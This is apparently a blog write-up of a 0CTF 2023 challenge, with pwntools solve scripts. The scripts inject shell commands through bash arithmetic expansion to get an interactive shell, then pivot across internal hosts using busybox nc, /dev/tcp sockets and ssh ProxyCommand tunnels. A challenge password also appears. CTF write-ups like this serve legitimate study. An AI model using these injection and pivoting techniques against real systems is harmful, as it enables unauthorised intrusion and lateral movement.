        [, [[, acpid, adjtimex, ar, arch, arp, arping, ash, awk, basename, bc,
        blkdiscard, blockdev, brctl, bunzip2, busybox, bzcat, bzip2, cal, cat,
        chgrp, chmod, chown, chpasswd, chroot, chvt, clear, cmp, cp, cpio,
        crond, crontab, cttyhack, cut, date, dc, dd, deallocvt, depmod, devmem,
        df, diff, dirname, dmesg, dnsdomainname, dos2unix, dpkg, dpkg-deb, du,
        dumpkmap, dumpleases, echo, ed, egrep, env, expand, expr, factor,
        fallocate, false, fatattr, fdisk, fgrep, find, fold, free, freeramdisk,
        fsfreeze, fstrim, ftpget, ftpput, getopt, getty, grep, groups, gunzip,
        gzip, halt, head, hexdump, hostid, hostname, httpd, hwclock, i2cdetect,
        i2cdump, i2cget, i2cset, id, ifconfig, ifdown, ifup, init, insmod,
        ionice, ip, ipcalc, ipneigh, kill, killall, klogd, last, less, link,
        linux32, linux64, linuxrc, ln, loadfont, loadkmap, logger, login,
        logname, logread, losetup, ls, lsmod, lsscsi, lzcat, lzma, lzop,
        md5sum, mdev, microcom, mkdir, mkdosfs, mke2fs, mkfifo, mknod,
        mkpasswd, mkswap, mktemp, modinfo, modprobe, more, mount, mt, mv,
        nameif, nc, netstat, nl, nologin, nproc, nsenter, nslookup, nuke, od,
        openvt, partprobe, passwd, paste, patch, pidof, ping, ping6,
        pivot_root, poweroff, printf, ps, pwd, rdate, readlink, realpath,
        reboot, renice, reset, resume, rev, rm, rmdir, rmmod, route, rpm,
        rpm2cpio, run-init, run-parts, sed, seq, setkeycodes, setpriv, setsid,
        sh, sha1sum, sha256sum, sha512sum, shred, shuf, sleep, sort,
        ssl_client, start-stop-daemon, stat, static-sh, strings, stty, su,
        sulogin, svc, svok, swapoff, swapon, switch_root, sync, sysctl,
        syslogd, tac, tail, tar, taskset, tc, tee, telnet, telnetd, test, tftp,
        time, timeout, top, touch, tr, traceroute, traceroute6, true, truncate,
        tty, tunctl, ubirename, udhcpc, udhcpd, uevent, umount, uname,
        uncompress, unexpand, uniq, unix2dos, unlink, unlzma, unshare, unxz,
        unzip, uptime, usleep, uudecode, uuencode, vconfig, vi, w, watch,
        watchdog, wc, wget, which, who, whoami, xargs, xxd, xz, xzcat, yes,
        zcat
  • 显然要ssh连接second,但是没有ssh,需要用nc做一个ssh的转发
from pwn import *
from paramiko import *
import socket
proxy_host = "instance.0ctf2023.ctf.0ops.sjtu.cn"
proxy_port = 18081
target_host = "etk98xmjmtkmpwhr"
target_port = 1
io = remote(proxy_host, proxy_port)
rl = lambda a=False        : io.recvline(a)
ru = lambda a,b=True       : io.recvuntil(a,b)
r = lambda x               : io.recvn(x)
ra = lambda x              : io.recvall(x)
s = lambda x               : io.send(x)
sl = lambda x              : io.sendline(x)
sa = lambda a,b            : io.sendafter(a,b)
sla = lambda a,b           : io.sendlineafter(a,b)
ia = lambda                : io.interactive()
db = lambda text=None      : gdb.attach(io, text)
lg = lambda s              : log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data         : u32(data.ljust(4, b'\x00'))
uu64 = lambda data         : u64(data.ljust(8, b'\x00'))
sl(f"CONNECT {target_host}:{target_port} HTTP/1.1\r\nHost: {target_host}\r\n")
sla("Now, write down the exam integrity statement here:","I promise to play fairly and not to cheat. In case of violation, I voluntarily accept punishment")
ru('?\n')
sl('a[$(sh 1>&2)]')
sl('busybox nc second 22')
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('localhost', 23232))
server.listen(1)
ban=io.recv()
while True:
    # 等待客户端连接
    client, addr = server.accept()
    log.info(f"Accepted connection from {addr[0]}:{addr[1]}")
    client.send(ban)
    try:

        # 在这个地方打断点,防止程序速度过快导致ssh密钥交换失败
        while True:
            # 接收来自客户端的数据
            data =client.recv(10240)
            print(data)
            # 创建 pwntools 的连接对象
            # 发送数据到远程主机
            io.send(data)
            # print('Recevive From USER' + str(data))
            # 接收远程主机的响应
            response = io.recv()
            print(response)
            # 发送响应回给客户端
            client.send(response)
            # response = io.recv()
            # log.info(f"Sent {len(response)} bytes")

    except Exception as e:
        log.error(f"Error: {e}")
from pwn import *

# nc -X connect -x instance.0ctf2023.ctf.0ops.sjtu.cn:18081 89xergbg93m6vbfj 1
r = remote('instance.0ctf2023.ctf.0ops.sjtu.cn', 18081)
r.send(b'CONNECT hqgbfqxkptyxjmj9:1 HTTP/1.0\r\n\r\n')
r.recvline() # b'HTTP/1.1 200 OK\r\n'
r.recvuntil(b'Now, write down the exam integrity statement here:\n')

r.send(b"I promise to play fairly and not to cheat. In case of violation, I voluntarily accept punishment\n")

r.recvuntil(b'1 + 1 = ?\n')

r.send(b"a[$(bash -c 'bash -i 1>&2')]\n")
r.recvuntil(b'bash: no job control in this shell\n')

#r.send(b"busybox wget second\n")
#r.recvuntil(b'inet 10.')

r.send(b"busybox nc 10.10.222.5 22\n")
r.recvline()  # b'bash-5.1$ busybox nc 10.7.40.5 22\n'

l = listen(2222)
print("ssh ctf@localhost -p2222")
svr = l.wait_for_connection()
svr.connect_both(r)
  • flag3, second中busybox没了,使用/dev/tcp直接创建tcp连接

ssh -o ProxyCommand="ssh -p 23231 ctf@localhost 'bash -c \"exec 3<>/dev/tcp/third/22; cat <&3 & cat >&3; kill $\"'" ctf@third
from pwn import *

p = process(['ssh', 'ctf@localhost', '-p2222'])
p.recvline() # Pseudo-terminal will not ...

### DNS because I didnt know /dev/tcp/.../port would look up domains... ###
#from scapy.all import DNS, DNSQR, IP, UDP
#p.send("exec 666<>/dev/udp/127.0.0.11/53\n".encode())
#dns_req = DNS(rd=1337, qd=DNSQR(qname='third'))
#p.send(b"cat <&666 &\n")
#p.send(b"cat >&666\n")
#p.send(dns_req.build())
#print(DNS(p.recv()))

p.send(b"exec 3<>/dev/tcp/third/22\n")
p.send(b"cat <&3 &\n")
p.send(b"cat >&3\n")
l = listen(2223)
print("ssh ctf@localhost -p2223  # pw: x5kdkwjr8exi2bf70y8g80bggd2nuepf")
svr = l.wait_for_connection()
svr.connect_both(p)
  • flag4 third 没有 cat

We can use bash to open a file and pipe file content to stdin by doing ... < flag3, then we can use bash buildin read to read from stdin into a variable ($line) and then use bash buildin echo to write the variable to stdout (fd 1):

from pwn import *

p = process(['ssh', 'ctf@localhost', '-p2223'])
print(p.recvline()) # Pseudo-terminal will not ...

p.send(b"exec 3<>/dev/tcp/fourth/22\n")

p.send(b"""while true; do IFS='' read -d '' -n 1 -r u; if [ "${#u}" -eq 0 ]; then echo -en "\\x00"; fi; echo -n "$u"; done <&3 &\n""")
p.send(b"""while true; do IFS='' read -d '' -n 1 -r u; if [ "${#u}" -eq 0 ]; then echo -en "\\x00"; fi; echo -n "$u"; done >&3\n""")

l = listen(2224)
print("ssh ctf@localhost -p 2224")
svr = l.wait_for_connection()
svr.connect_both(p)
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇